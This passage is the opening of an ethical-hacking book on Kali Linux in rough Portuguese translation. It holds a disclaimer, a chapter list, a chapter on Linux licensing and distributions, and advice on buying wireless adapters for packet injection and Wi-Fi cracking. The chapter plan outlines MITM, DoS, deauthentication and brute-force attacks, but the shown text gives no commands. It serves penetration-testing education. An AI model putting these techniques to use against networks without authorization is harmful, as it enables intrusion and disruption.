Você está na página 1de 166

HACKING ÉTICO

COM
KALI LINUX

APRENDA RAPIDAMENTE COMO


HACKER COMO UM PROFISSIONAL

POR
HUGO HOFFMAN
Todos os direitos reservados.
Nenhuma parte deste livro pode ser reproduzida em qualquer forma ou por qualquer meio
eletrônico, impresso ou mecânico, incluindo armazenamento de informações e sistemas de
recuperação, sem a permissão por escrito do editor.
Copyright © 2020
aviso Legal

Os profissionais devem ser consultados conforme necessário antes de realizar


qualquer uma das ações aqui endossadas. Sob nenhuma circunstância,
qualquer responsabilidade legal ou culpa será mantida contra o editor por
qualquer reparação, dano ou perda monetária devido às informações aqui
contidas, seja direta ou indiretamente. Esta declaração é considerada justa e
válida pela American Bar Association e pelo Committee of Publishers
Association e é juridicamente vinculativa em todos os Estados Unidos. Não
há cenários em que o editor ou o autor original deste trabalho possa ser de
alguma forma considerado responsável por quaisquer dificuldades ou danos
que possam ocorrer ao leitor ou a qualquer outra pessoa após realizar as
informações aqui descritas. As informações nas páginas a seguir destinam-se
apenas a fins informativos e, portanto, devem ser consideradas universais.
Conforme sua natureza, é apresentado sem garantia quanto à sua validade
continuada ou qualidade provisória. As marcas registradas mencionadas são
feitas sem consentimento por escrito e não podem, de forma alguma, ser
consideradas um endosso do titular da marca.
Audiência pretendida

Este livro foi desenvolvido para qualquer pessoa que deseje se tornar um
Hacker Ético ou Testador de Penetração na área de Segurança da Informação.
Este livro foi escrito em inglês do dia-a-dia e não é necessária nenhuma
formação técnica. O conteúdo deste livro fornecerá um guia prático sobre
como você pode usar o Kali Linux para implementar vários ataques em redes
com e sem fio. Se você está se preparando para se tornar um Profissional de
TI, como Hacker Ético, Analista de Segurança de TI, Engenheiro de
Segurança de TI, Analista de Rede, Engenheiro de Rede ou um Testador de
Penetração, mas ainda em dúvida e quiser saber sobre segurança de rede,
você encontrará este livro é extremamente útil. Você aprenderá os principais
conceitos e metodologias que giram em torno da segurança de rede, bem
como as principais tecnologias que você deve estar ciente. Se você está
realmente interessado em se tornar um Hacker Ético ou Testador de
Penetração, este livro é para você. Supondo que você esteja se preparando
para se tornar um Profissional de Segurança da Informação, este livro
certamente fornecerá grandes detalhes que o beneficiarão ao entrar neste
setor.
Introdução

Primeiro, vamos começar com a Introdução ao Linux, para que você tenha
uma ideia geral do que se trata este Sistema Operacional. A seguir, veremos
as mesmas Recomendações de Software e Hardware para Hackers Éticos e
pularemos direto para a instalação do Vitrual Box e Kali Linux. Este livro é
principalmente sobre as ferramentas Kali Linux e como implantá-las, mas
primeiro temos que olhar para a compreensão dos testes de penetração e
como eles funcionam com reconhecimento e pegada. Veremos cada etapa que
você deve dar como um testador de penetração, que inclui o Estágio 1,
Estágio 2 e Estágio
3. Isso é importante para que você entenda como assumir a função de hacker
ético. Por exemplo, que tipo de perguntas você deve fazer ao ser contratado
por um cliente. Portanto, nesta seção, incluiremos o quê, quando, como, mas
também todos os requisitos legais para que você possa se proteger. Também
vamos examinar os padrões de teste de penetração para que você possa
decidir qual deles se adapta melhor a você. A seguir, vamos começar de
forma mais prática, entendendo o Footprinting e a descoberta de host com a
digitalização de portas. Depois disso, vamos nos sujar entendendo como você
pode descobrir dispositivos com Hping3, como configurar um proxy para o
Burp Suite e como direcionar dispositivos com Burp Scanner. A seguir,
veremos alguns testes de aplicativos, como Randomizing Sessions Tokens,
Spidering e SQL Injection com SQLmap. Em seguida, seguimos em frente e
começamos a examinar os ataques com e sem fio usando o Kali Linux.
Veremos Ataque de Dicionário com Airodump-ng, Envenenamento ARP
com EtterCAP e implementação de Reconhecimento Passivo. A seguir,
veremos como capturar o tráfego com e sem fio usando o espelhamento de
porta, implantando o SYN Scan Attack e usando o Xplico. A seguir,
implantaremos o MITM Attack de várias maneiras, como usando Ettercap ou
SSLscript. Seguindo em frente, você aprenderá como manipular o Packet
usando a ferramenta chamada Scapy e como capturar o tráfego IPv6 com o
Parasite6. A seguir, implementaremos ataques DoS de várias maneiras,
usando um Ataque de Desautenticação ou criando um Ponto de Acesso
Rogue ou Evil Twin com uma ferramenta chamada MKD3. A seguir, vamos
dar uma olhada na implementação de um ataque de força bruta com TCP
Hydra, mas então veremos a implementação de vários ataques ao mesmo
tempo sob demanda, com algumas ferramentas muito poderosas e perigosas,
como Ave Maria de Armitage, The Metasploit Framework ou SET (Social-
Engineering Toolkit). Essas ferramentas estão disponíveis para hack de
chapéu branco e chapéu preto. Uma vez aplicado, o resultado será
o mesmo em ambos os casos. O que você deve entender é que isso pode levar
a uma situação terrível para a pessoa que usa essas ferramentas de hacking de
qualquer maneira não autorizada, o que pode causar danos ao sistema ou
qualquer interrupção do sistema. Se você tentar usar qualquer uma dessas
ferramentas em uma rede com fio ou sem fio sem ser autorizado e perturbar
ou danificar qualquer sistema, isso será considerado hacking ilegal. Portanto,
gostaria de encorajar todos os leitores a implementarem qualquer ferramenta
descrita neste livro SOMENTE PARA USO DO WHITE HAT. Qualquer
coisa legalmente autorizada para ajudar indivíduos ou empresas a encontrar
vulnerabilidades e identificar riscos potenciais está bem. Todas as
ferramentas que irei descrever, você deve usar apenas para melhorar a postura
de segurança. Se você está ansioso para aprender sobre hacking e testes de
penetração, É recomendado construir um laboratório doméstico e praticar o
uso dessas ferramentas em uma rede isolada sobre a qual você tenha controle
total e que não esteja conectada a nenhum ambiente de produção ou à
Internet. Se você usar essas ferramentas para fins de chapéu preto e for pego,
a responsabilidade será inteiramente sua e você não terá ninguém para culpar.
Então, novamente, eu recomendo que você fique atrás das linhas, e qualquer
coisa que você faça deve ser completamente legítima e totalmente autorizada.
Se você não tiver certeza sobre algo que está fazendo e não tiver a menor
ideia do resultado, pergunte ao seu gerente ou NÃO FAÇA. Este livro é para
fins educacionais. É para aqueles que estão interessados em aprender e saber
o que está por trás das cortinas e gostariam de se tornar um hacker ético ou
um testador de penetração. Além de questões legais, antes de usar qualquer
uma das ferramentas,
Indice

Capítulo 1 Introdução ao Linux


Capítulo 2 Recomendações de software e hardware
Capítulo 3 Instalando Virtual Box e Kali Linux
Capítulo 4 Introdução aos testes de penetração
Capítulo 5 Teste de Caneta na Etapa 1
Capítulo 6 Teste de Caneta na Etapa 2
Capítulo 7 Teste de Caneta na Etapa 3
Capítulo 8 Padrões de teste de
penetração Capítulo 9 Introdução à
pegada
Capítulo 10 Descoberta de host com varredura de
porta Capítulo 11 Descoberta de dispositivos
com Hping3 Capítulo 12 Configuração do Burp
Suite Proxy
Capítulo 13 Configuração de alvo para scanner
Burp Capítulo 14 Randomizing Sessions Tokens
Capítulo 15 Burp Spider-ing e injeção de SQL
Capítulo 16 Injeção de SQL com SQLmap
Capítulo 17 Ataque de Dicionário com
Airodump-ng Capítulo 18 Envenenamento ARP
com EtterCAP Capítulo 19 Capturando tráfego
com espelhamento de porta Capítulo 20
Reconhecimento Passivo com KalEu Capítulo 21
Capturando Ataque de Varredura SYN
Capítulo 22 Captura de tráfego com Xplico
Capítulo 23 Ataque MITM com Ettercap
Capítulo 24 Ataque MITM com SSLstrip
Capítulo 25 Manipulação de pacotes com
Scapy
Capítulo 26 Ataque de desautenticação contra AP invasor
Capítulo 27 Captura de Pacote IPv6 com Parasite 6
Capítulo 28 Ataque de desautenticação de gêmeos do mal
com mdk3 Capítulo 29 Ataque DoS com MKD3
Capítulo 30 Ataque de força bruta com TCP Hydra
Capítulo 31 Armitage Ave Maria
Capítulo 32 A Estrutura Metasploit
Capítulo 33 Ferramentas de
Engenharia Socialt Conclusão
Sobre o autor
Capítulo 1 Introdução ao Linux

Para entender o Linux, o sistema operacional líder dos mundos de nuvem,


Internet das coisas, DevOps e servidores corporativos, é importante para uma
carreira de TI.
Compreender o mundo do licenciamento de software aberto não é fácil, mas
deixe-me apresentar alguns destaques. Se você está planejando trabalhar com
software livre como o Linux, deve entender o básico das regras que o regem.
Vejamos primeiro o licenciamento. Existem três métodos principais de
licenciamento; a Free Software Foundation fundada em 1985 por Richard
Stallman, a mais jovem Open Source Initiative, e Creative Commons.
Em primeiro lugar, a Free Software Foundation quer que o software seja
gratuito, não tão gratuito, mas que permita aos usuários a liberdade de fazer o
que quiserem com ele. Pense nisso assim.
Você pode ter que pagar por ele, mas uma vez que é seu, você pode fazer o
que quiser com ele. Richard Stallman e sua fundação são os autores originais
da GPL e da GNU General Public License, que permite aos usuários o direito
de fazer o que quiserem com seu software, incluindo modificá-lo e vendê-lo,
desde que não o façam alterações às condições originais da licença.
O kernel do Linux é o software mais importante lançado na GPL. Mas, a
Open Source Initiative, enquanto coopera com a fundação do software livre
sempre que possível, acredita que deve haver acordos de licenciamento mais
flexíveis para que o software livre tenha o maior impacto possível no
mercado maior de software.
Código aberto significa que o código de programação original de um
software pode ser obtido gratuitamente pelos usuários, junto com o próprio
programa.
Licenças que estão mais alinhadas com os objetivos do OSI, mas incluem
várias versões do Berkeley Software Distribution, também conhecido como
BSD, que obriga pouco mais do que as redistribuições exibem o aviso de
copyright e isenção de responsabilidade do software original.
Isso torna mais fácil para os desenvolvimentos comerciais implantarem seus
softwares modificados sob novos modelos de licença, sem a preocupação de
quebrar as medidas anteriores.
As designações FOSS e FLOSS podem ajudar a refletir as alterações entre
essas duas visões. O FOSS implica apenas que o software pode ser adquirido
gratuitamente, embora o FLOSS se concentre no que você pode fazer com
o software assim que você o obtiver.
A licença Creative Commons autoriza os criadores de quase tudo, como
software, filmes, música ou livros, a selecionar exatamente os direitos que
desejam reservar para si próprios.
No sistema Creative Commons, um criador pode escolher entre qualquer
combinação dos cinco elementos a seguir; atribuição, que permite
modificação e redistribuição, desde que a atribuição do criador seja incluída;
share-alike, o que requer que as condições originais da licença sejam
incluídas em todas as distribuições e cópias futuras.
Next é chamado de “não comercial”, que permite apenas o uso não
comercial; sem trabalhos derivados, permitindo redistribuição posterior, mas
apenas cópias não modificadas; e domínio público, que permite todo uso
possível.
É essencial, ao usar software lançado sob o Creative Commons, saber
exatamente quais elementos foram selecionados pelo autor. A condição de
compartilhamento similar do creative commons, junto com a GPL de
Stallman, está, em termos práticos, relacionada ao sistema de distribuição
copy left.
As licenças de cópia esquerda permitem a reciclagem total e a redistribuição
de um pacote de software, mas somente quando as permissões substanciais
originais são incluídas na distribuição de próximo nível.
Isso pode ser valioso para autores que não desejam que seu software evolua
para tipos de licença fechada, mas desejam que seus derivados permaneçam
gratuitos para sempre. Licenças de código aberto sem cópia são
freqüentemente chamadas de licenças permissivas.
As licenças permissivas normalmente não exigem o cumprimento de
quaisquer restrições dos pais. As instâncias de tais licenças que geralmente
permitem praticamente qualquer uso do software licenciado, desde que o
trabalho original seja atribuído em derivados, são as licenças MIT, BSD e
Apache.
Hoje em dia, praticamente o Apache e o MIT são os mais amplamente
utilizados. Mas, como o software de código aberto é gratuito, não significa
que ele não tenha lugar nas operações de empresas “com fins lucrativos”.
Na verdade, os produtos de muitas empresas maiores e mais lucrativas são
construídos com software de código aberto. Em muitos casos, as empresas
irão liberar gratuitamente seu software como código aberto, bem como
fornecer serviço premium e
apoio aos consumidores pagantes.
Por exemplo, as distribuições Ubuntu e CentOS Linux são desse modelo,
porque são suportadas pela Canonical e Red Hat de forma consistente, e
ambas estão no negócio de fornecer suporte para clientes corporativos, e
esses são negócios muito sérios.
Outro exemplo é o Red Hat Linux, que foi comprado pela IBM por mais de
$ 30 bilhões. É importante notar que as principais contribuições do código de
programação para o kernel do Linux estão sendo escritas por equipes em
tempo integral de grandes empresas de tecnologia, incluindo Google e
Microsoft.
Estranhamente, visualizar a licença para o usuário de software de código
aberto em seu dispositivo nem sempre é tão fácil. Aplicativos de desktop
frequentemente disponibilizam suas informações de licença por meio das
seleções de menu “ajuda e sobre”, mas em outros casos, a melhor maneira de
encontrar informações de licenciamento de um produto específico é visitar o
site.
O kernel Linux original foi criado por Linus Torvalds no início dos anos 90 e
doado à comunidade. Comunidade significa qualquer pessoa, a qualquer
hora, em qualquer lugar, e doado significa que o código de programação de
qualquer componente do Linux estará disponível gratuitamente para qualquer
pessoa baixar, modificar e fazer o que quiser com ele, incluindo lucrar com
suas próprias versões personalizadas, se quiser .
Um sistema operacional de computador ou SO é um conjunto de ferramentas
de software projetadas para interpretar os comandos de um usuário, para que
possam ser traduzidos em termos que o computador host possa entender.
Praticamente qualquer sistema operacional pode ser instalado e iniciado na
maioria das arquiteturas de hardware padrão, desde que tenha memória e
capacidade de processamento suficientes para suportar os recursos do sistema
operacional.
Portanto, você pode carregar o Linux nativamente em qualquer computador
ou Mac OS, uma pequena placa de desenvolvimento executando um
processador ARM ou como uma imagem de contêiner virtualizada em um
ambiente Docker.
Quase todos os sistemas operacionais de desktop fornecem duas maneiras de
acessar suas ferramentas por meio de uma interface gráfica do usuário,
também conhecida como GUI, e por meio de uma interface de linha de
comando ou CLI.
Todos os sistemas operacionais modernos permitem que você execute
ferramentas sofisticadas de produtividade e entretenimento de forma segura e
consistente por meio da GUI e forneça um ambiente adequado onde você
pode desenvolver seu próprio software,
que era a única coisa que os primeiros computadores pessoais podiam fazer.
Todos os Linux têm isso em comum, mas o que eles fazem de maneira
diferente é o que é mais interessante. A diferença mais óbvia entre o Linux e
seus concorrentes comerciais são as limitações comerciais.
Outros os têm e o Linux não. Isso significa que você está livre para instalar
quantas versões do Linux em quantos dispositivos de hardware desejar e
ninguém vai dizer o contrário.
Essa liberdade muda a maneira como você usará seu sistema operacional
porque lhe dá flexibilidade para fazer as alterações e personalizações que
melhor atendem aos seus requisitos.
Não é incomum pegar um disco rígido com um sistema de arquivos Linux
instalado de um computador e colocá-lo em outro, e isso funcionará
perfeitamente em oposição com o Windows ou Mac OS.
Freqüentemente, tenho até meia dúzia de instâncias virtuais e físicas do
Linux em execução ao mesmo tempo enquanto testo vários processos de
software e design de rede, algo que talvez nunca tentasse se precisasse obter
licenças separadas.
Isso deve ter duas vantagens imediatas para você. Primeiro, você pode gastar
muito tempo experimentando várias distribuições e desktops Linux à medida
que suas habilidades em Linux aumentam e pode, naturalmente, lançar a
implantação de teste antes de lançar os novos recursos baseados em Linux da
sua empresa para garantir que estejam funcionando corretamente.
O ambiente Linux contém três tipos de software; o kernel do Linux, a
interface da área de trabalho como GNOME ou Cinnamon e personalizações
fornecidas por sua distribuição específica como Ubuntu ou Red Hat.
Geralmente, você não vai baixar ou gerenciar diretamente o kernel do Linux.
Isso será tratado para você pelos processos de instalação e atualização usados
pela distribuição que você escolher.
Para manter a estabilidade, não é incomum que as distribuições ignorem
amplamente os novos lançamentos de kernel não críticos por muitos meses.
Distribuições, principalmente as maiores e mais conhecidas, são comumente
atualizadas, enquanto os patches de segurança e recursos críticos são
disponibilizados quase que instantaneamente.
A maioria das distribuições gerenciam repositórios de software de terceiros e
ferramentas de gerenciamento de pacotes para lidar com atualizações. Se
você olhar a caixa de diálogo Software e atualizações nas caixas do Linux,
poderá escolher como deseja que as atualizações sejam aplicadas.
Além do sistema operacional, existem milhares de pacotes de software
gratuitos disponíveis que permitem que você execute qualquer tarefa de
computação viável, de forma mais rápida e segura do que em outras
plataformas.
Esteja você procurando suítes de produtividade de escritório ou servidor da
web e serviços de segurança, tudo será integrado à estrutura do sistema Linux
por gerenciadores de pacotes confiáveis.
Por exemplo, se você quiser usar um software de edição como Adobe no
Windows ou Mac, para fazê-los funcionar de maneira eficaz sem atrasar o
sistema, você precisará de uma CPU rápida, 32 GB de RAM e uma RAM de
vídeo dedicada.
Essas plataformas podem custar milhares de dólares e exigir sistemas de
resfriamento para evitar que derretam. No entanto, se você fosse usar o
Linux, poderia executar processos virtualizados, juntamente com tarefas
diárias regulares em um simples PC, construído com menos de $ 300.
Como o Linux é open source, muitas pessoas criaram suas próprias versões
do sistema operacional, conhecidas como distribuições ou “distros” para
atender a necessidades especializadas. O mais famoso deles é o sistema
operacional Android do Google para smartphones, mas existem centenas de
outros, incluindo distros de implantação empresarial, como Red Had
Enterprise, e sua reconstrução de comunidade gratuita, CentOS por exemplo.
Existe uma distribuição especialmente otimizada para aplicativos científicos
e matemáticos avançados chamada Scientific Linux, Kali Linux para teste e
gerenciamento de segurança de rede, que iremos mergulhar em mais detalhes
em breve, mas outras distribuições construídas para serem incorporadas em
dispositivos IoT ou Internet das Coisas, como Raspbian para a placa de
desenvolvimento Raspberry Pi ultra-barata.
As distribuições geralmente são agrupadas em famílias. Por exemplo, uma
distribuição específica pode ganhar uma reputação de estabilidade, bom
design, patch rápido e um ecossistema saudável de software de terceiros.
Em vez de ter que reinventar a roda, outras comunidades podem bifurcar
versões derivadas dessa distro pai e suas próprias personalizações e distribuí-
la com um novo nome, mas o relacionamento pai / filho original permanece.
Atualizações e patches são enviados do upstream pai a jusante para todos os
filhos. Esta é uma forma eficiente e eficaz de manter sistemas autônomos.
As famílias de distribuição mais conhecidas são o Debian, que mantém um
ecossistema downstream que inclui o Ubuntu para todos os fins, por exemplo.
Mint Kali Linux e Red Hat são responsáveis pelo CentOS; e distros Fedora
focadas no consumidor; SUSE, que fornece o OpenSUSE; e o infame
complexo, mas ultraeficiente Arch Linux, cujos seguidores downstream
incluem LinHES for Home Entertainment Management e o Manjaro focado
em GUI.
Você também encontrará imagens de distribuição Linux para todos os tipos
de implantações dedicadas. Distros extremamente leves podem ser
incorporados a dispositivos da Internet das Coisas, como geladeiras ou
lâmpadas.
Os contêineres do Docker são rápidos e eficientes porque compartilham o
kernel do sistema operacional com seus ambientes de host Linux e podem ser
construídos usando uma ampla variedade de imagens baseadas em Linux.
A nuvem, liderada pela AWS ou Amazon Web Services e Azure, a
computação de serviço on-demand virtualizada é ótima porque contém tudo
que sabemos sobre computação.
O Linux é multiuso e gratuito, portanto, é o sistema operacional perfeito para
implantações em nuvem. Outra versão do Linux está sendo usada para
executar uma maioria significativa de ocorrências na nuvem hospedada na
plataforma de nuvem Azure da Microsoft.
A importância da mudança em todo o setor para a nuvem é o aparecimento de
distribuições Linux especializadas que são projetadas para oferecer a melhor
experiência de nuvem concebível por serem pequenas e rápidas possíveis.
Essas distros especializadas frequentemente incluem funcionalidades prontas
para uso que permitem que você tire proveito de seu ambiente de host em
nuvem específico. Essas distros incluem Amazon Linux AMI da AWS, por
exemplo.
AMI significa Amazon Machine Image e oferece suporte a longo prazo para
versões do Ubuntu. O suporte de longo prazo ou as versões LTS são
construídas para serem estáveis usando software e configurações totalmente
testados.
A confiabilidade de tais configurações possibilita que os gerentes de distro
continuem a fornecer segurança e atualizações de recursos para uma versão
para
5 anos.
Você pode implantar uma versão LTS como um servidor sem se preocupar
em reconstruí-la todo o tempo. Se você gosta de experimentar as melhores e
mais recentes versões do software, pode ir em frente e instalar a versão
provisória mais recente, mas para ambientes estáveis, é necessário ter um
LTS.
Em resumo, o software de código aberto pode ser fornecido usando vários
modelos de licença. A GPL, a GNU General Public License permite qualquer
uso, modificação ou redistribuição, desde que os termos da licença original
não sejam alterados.
As licenças Creative Commons permitem condições de licença mais
restritivas para dar mais opções aos criadores de software. Outros modelos
importantes de licenciamento incluem Apache, BSD e MIT.
Linux é uma plataforma flexível que pode ser personalizada para alimentar
qualquer dispositivo de computação, ambos; físico ou virtual. Você aprendeu
sobre as distribuições do Linux que empacotam o kernel do Linux, junto com
desktops GUI e software e configurações especializados.
As famílias de distribuição que discutimos incluem Red Hat Enterprise
Linux, Debian e Arch. Concluindo, agora você tem um conhecimento básico
sobre como as distribuições corrigem e mantêm o software em máquinas
Linux, bem como como frequentemente disponibilizam novos lançamentos,
incluindo LTS ou lançamentos de suporte de longo prazo.
Antes de instalar qualquer Linux, quero dizer que a instalação do Linux não é
uma missão simples. Existem tantas plataformas nas quais você pode instalar
o Linux, tantas distros e lançamentos de distro e cada uma com seu próprio
programa de instalação, tantas opções de configuração e tantos caminhos de
instalação exclusivamente diferentes que apresentam um pequeno
subconjunto do tópico de forma lógica maneira é um desafio.
Você pode instalar o Linux em PCs e servidores tradicionais. Além do fato de
que o próprio sistema operacional Android é construído em um kernel Linux,
não há nada que impeça você de instalar uma distro mais convencional, mas
tenha em mente que tais experimentos podem terminar mal para o
dispositivo.
Que tal uma geladeira ou algo menor como um brinquedo de criança, que
provavelmente será produzido em um grande número, ou servidores virtuais
projetados para durar alguns segundos, executar uma tarefa específica com
limite de tempo e
então se fecham para sempre?
Bem, os processos regulares de instalação não funcionarão adequadamente
nesses cenários, então você frequentemente precisará pensar fora da caixa.
Muitos dispositivos da Internet das Coisas usam pequenas placas de
desenvolvimento, como a barata Raspberry Pi para executar suas operações
de computação.
No caso do Pi, você pode construir uma imagem do sistema operacional em
seu próprio PC e colocá-la em um cartão SD, que você pode inserir no
dispositivo e inicializá-lo. Os servidores virtuais podem ser provisionados
usando scripts que definem o sistema operacional preciso e os detalhes de
configuração que você deseja.
Às vezes, em resposta a um acionador externo, os scripts ativam
automaticamente os recursos em seu ambiente de destino e os implantam
conforme necessário para atender à demanda em mudança.
A variedade e flexibilidade inerentes ao Linux e ao ecossistema de código
aberto tornam possível montar a combinação certa de camadas de software
necessárias para combinar os recursos de hardware que você está usando e
sua carga de trabalho de computação.
No decorrer de uma instalação tradicional do Linux, você enfrentará escolhas
em relação a algumas das configurações de ambiente dentro das quais seu
sistema operacional irá operar, como seu computador se conectará à rede, que
tipo de conta de usuário você criará para o dia-a-dia administração diária e
quais dispositivos de armazenamento você usará para o software e os dados
usados pelo seu sistema.
Vamos falar sobre um de cada vez. As distros Linux permitem que você opte
por interagir com a GUI usando qualquer um dos idiomas, mas você
precisará especificar qual idioma deseja e qual layout de teclado está usando.
O idioma escolhido determinará o que você verá nas caixas de diálogo e
menus de configuração em toda a área de trabalho. Você também precisará
definir sua localização, para que o Linux saiba seu fuso horário.
Muitas das operações de gerenciamento de rede e arquivos dependerão da
configuração de fuso horário, portanto, você deseja fazer isso direito. Essas
configurações podem ser atualizadas posteriormente usando a GUI ou a CLI.
Se for possível, é melhor habilitar o acesso à Internet antes de iniciar a
instalação. Dessa forma, sua distribuição pode baixar as atualizações mais
recentes que podem não estar incluídas em seu arquivo de instalação, então
você terá uma a menos
o que fazer ao efetuar login em sua nova estação de trabalho.
O programa de instalação do CentOS perguntará se você deseja configurar
um usuário normal para o seu sistema ou se está bem apenas com o usuário
root.
Embora você não seja forçado a criar um usuário regular, para fortalecer sua
postura de segurança, é altamente recomendado que você evite efetuar login
como um usuário “root” para operações normais.
Como alternativa, fazer login e realizar seu trabalho como um usuário regular
que pode, quando necessário, invocar poderes de administração usando
pseudo, é muito melhor.
Os processos de instalação padrão do Ubuntu, por exemplo, nem mesmo
oferecem a opção de usar o root. Você sempre pode optar por seguir a
abordagem padrão para dispositivos de armazenamento onde, na maioria dos
casos, todo o sistema de arquivos será instalado em uma única partição, mas
você pode querer explorar outras opções para casos de uso mais complicados
ou incomuns.
Muitos administradores de servidor preferem manter a hierarquia de diretório
“/ var” isolada em uma partição separada para garantir que os dados de
registro do sistema não sobrecarreguem o resto do sistema.
Você pode usar um SSD pequeno, mas rápido, ou unidade de estado sólido
para a maioria dos arquivos do sistema, enquanto os diretórios “home” e
“var” maiores são montados em um disco rígido maior, mas muito mais
lento.
Isso permite que você aproveite a velocidade do SSD para rodar binários do
Linux enquanto se livra de um disco rígido magnético mais barato para seus
dados, onde a diferença de desempenho não seria tão perceptível.
Você será questionado se deseja que seus dispositivos de armazenamento
sejam gerenciados como “volumes LVM”. Mas o que é um “volume LVM”?
Bem, LVM significa Logical Volume Manager, que é uma forma de
virtualizar dispositivos de armazenamento, para que eles sejam fáceis de
manipular posteriormente. Mas como funciona?
Bem, vamos imaginar que você tem três unidades físicas separadas em seu
sistema. O LVM os transformaria em um único grupo de volume, cuja
capacidade é igual ao espaço total agregado de todas as três unidades.
A qualquer momento, você estará livre para criar quantos volumes lógicos
desse grupo de volume desejar, usando qualquer combinação de capacidade
individual, até
ao volume total disponível.
Se suas 3 unidades tivessem 2 TB, 500 GB e 200 GB de tamanho
separadamente e você precisasse trabalhar com uma unidade de dados de
pelo menos 2,3 TB, você poderia usar o LVM para criar 1 volume lógico de
2,3 TB e um segundo volume de 400 GB para todo o resto.
Se seus requisitos mudarem no futuro, você pode reduzir o tamanho da
unidade de dados e transferir os dados extras para o segundo volume ou para
um novo volume. Adicionar ou trocar volumes podem ser operações
relativamente simples. O LVM pode fornecer uma flexibilidade de
configuração fantástica, mas para configurações simples normalmente não é
essencial.
Agora que você conhece parte da teoria, pode ir em frente e pular direto para
a instalação do Kali Linux, mas antes de fazer isso, gostaria de recomendar
alguns outros softwares e hardwares que você deva adquirir como Pen Tester.
Capítulo 2 Recomendações de software e hardware

Tcpdump
https://www.tcpdump.org/
Microsoft Net Mon
https://www.microsoft.com/en-us/Download/confirmation.aspx?id=4865
LanDetective
https://landetective.com/download.html
Chanalyzer
https://www.metageek.com/support/downloads/
Ettercap
https://www.ettercap-project.org/downloads.html
NetworkMiner
https://www.netresec.com/?page=NetworkMiner
Violinista
https://www.telerik.com/fiddler
Wireshark
https://www.wireshark.org/download.html
Kali Linux
https://www.kali.org/downloads/
vmWare
https://my.vmware.com/web/vmware/downloads
Caixa Virtual
https://www.virtualbox.org/wiki/Downloads
Muitas pessoas parecem ficar confusas quando falamos sobre adaptadores
sem fio e placas sem fio. Eles não sabem o que são, por que precisamos deles
e como selecionar o certo porque existem tantas marcas e tantos modelos.
O que queremos dizer com um adaptador sem fio é o dispositivo que você
conecta ao seu computador através de uma porta USB e permite que você se
comunique com outros dispositivos do nosso Wi-Fi, para que você possa usá-
lo para conectar redes sem fio e se comunicar com outros computadores que
usar Wi-Fi.
Você pode estar pensando que seu laptop já tem isso e, sim, a maioria dos
laptops e smartphones já tem isso integrado. Mas, há dois problemas com
isso.
O primeiro problema é que você não pode acessar adaptadores sem fio
integrados com Kali Linux se ele estiver instalado como uma máquina
virtual, e o segundo problema é que esses adaptadores sem fio integrados não
são bons para penetrar em redes sem fio.
Mesmo se você instalou o Kali Linux como uma máquina principal em seu
laptop e então você terá acesso a sua placa wireless embutida, você ainda
deseja poder usar este adaptador wireless para teste de penetração porque ele
não suporta o modo monitor , ou injeção de pacote.
Você quer ser capaz de usá-lo para quebrar senhas de Wi-Fi e fazer todas as
coisas incríveis que podemos fazer no Kali Linux com o aircrack-ng e outras
ferramentas. Antes de começarmos a falar sobre as marcas e modelos que
funcionarão com o Kali Linux, gostaria de falar sobre um fator mais
importante que é o chipset usado dentro do adaptador sem fio.
Esqueça a marca por enquanto. Em vez disso, vamos falar sobre o cérebro
que faz todos os cálculos dentro do adaptador sem fio. Isso é o que determina
se o adaptador é bom ou ruim. Se ele suporta injeção e modo de monitor e
funciona com Kali Linux, a marca é irrelevante.
O que é usado dentro desse adaptador é importante e, portanto, o chipset.
Existem muitos chipsets que suportam o modo monitor e injeção de pacotes e
Kali Linux. Existe um que é feito pela empresa chamada Atheros e seu
modelo é o AR9271. Este chipset suporta o modo monitor ou injeção de
pacotes, ou você pode usar o chipset para criar um ponto de acesso falso, ou
pode usá-lo para invadir redes.
Portanto, você pode usar este chipset para fazer praticamente todos os ataques
do Kali Linux. o
O único problema com este chipset é que ele suporta apenas 2,4 gigahertz,
portanto, se o seu alvo usar 5 gigahertz ou alguns dos dispositivos estiverem
conectados a mais de 5g, você não conseguirá se comunicar com esses
dispositivos.
Você nem mesmo conseguirá vê-los, então não será capaz de lançar ataques
contra eles. Não porque o chipset não seja bom, mas porque ele não consegue
ver o tráfego de 5 gigahertz.
Se você deseja obter um adaptador que usa este chipset, você tem duas
opções. Bem, você tem muitas opções, mas vou falar sobre duas. Primeiro,
existe uma opção barata que você pode obter um adaptador sem fio sem
marca que usa esse chipset e você pode usá-lo para fazer todos os ataques que
acabei de mencionar.
A única coisa é que este adaptador não tem marca, por isso é um pouco mais
barato. A segunda opção é obter o adaptador wireless Alpha AWUS036NHA
feito pela alpha, que é uma empresa muito popular e continua fazendo ótimos
adaptadores wireless.
Ele tem o mesmo chipset e terá a mesma compatibilidade. A única diferença
é a qualidade de construção. Este é um produto de qualidade muito superior,
feito por uma empresa muito boa.
Ambos funcionam muito bem, mas a única diferença é que o adaptador Alpha
tem um alcance maior e é mais confiável. Os adaptadores econômicos são
muito menores, muito mais compactos, portanto, se você estiver em um local
público, é muito mais fácil de usar do que o Alpha, que é grande e tem uma
antena grande.
O próximo chipset que gostaria de falar é feito pela empresa chamada
Realtek. O modelo é RTL8812AU. Este chipset só teve o suporte do Kali
Linux na versão 1 de 2017 e também suporta modo monitor, injeção de
pacotes e frequência de 2,4 e 5 gigahertz.
O único problema com este chipset é que ele não parece tão confiável, pois
alguns dos ataques podem precisar de um sinal mais forte, alguns dos ataques
irão falhar e você terá que fazer isso de novo, e às vezes a placa
simplesmente será desconectada então você tem que conectá-lo novamente.
Este chipset tem mais uma vez duas opções. Você pode obter um adaptador
sem fio barato que é muito mais barato do que o Alpha, e tem apenas o
mesmo chipset, ou pode obter o Alpha, que é uma empresa muito boa com
uma boa reputação e é um adaptador mais forte, então você vai chegar mais
longe
redes, porque você terá sinal mais forte.
Com o adaptador Alpha que usa este chipset é Alpha AWUS036ACH. Você
pode ir em frente e comparar as especificações deles e obter o modelo certo
para você. O mais importante é o chipset. Não é a marca. Os mais baratos são
muito mais baratos.
Eles são mais compactos, então são melhores. Você pode usá-los melhor em
público, mas eles não são tão fortes quanto os Alfa. Os alfa darão um sinal
melhor, então serão mais confiáveis, mas os econômicos funcionarão
perfeitamente bem também. Todos eles suportarão muitos ataques de
penetração.
A única diferença é apenas a qualidade de construção. Em termos de
compatibilidade, os adaptadores econômicos funcionarão tão bem quanto os
Alpha porque usam o mesmo chipset. Mais uma vez, o mais importante é o
chipset usado dentro do adaptador sem fio.
Capítulo 3 Instalando Virtual Box e Kali Linux

Virtual Box é um software especializado em virtualizar vários sistemas


operacionais que você pode instalar em Windows, Macintosh ou qualquer
sistema operacional Linux ou Solaris. O download é gratuito. Depois de
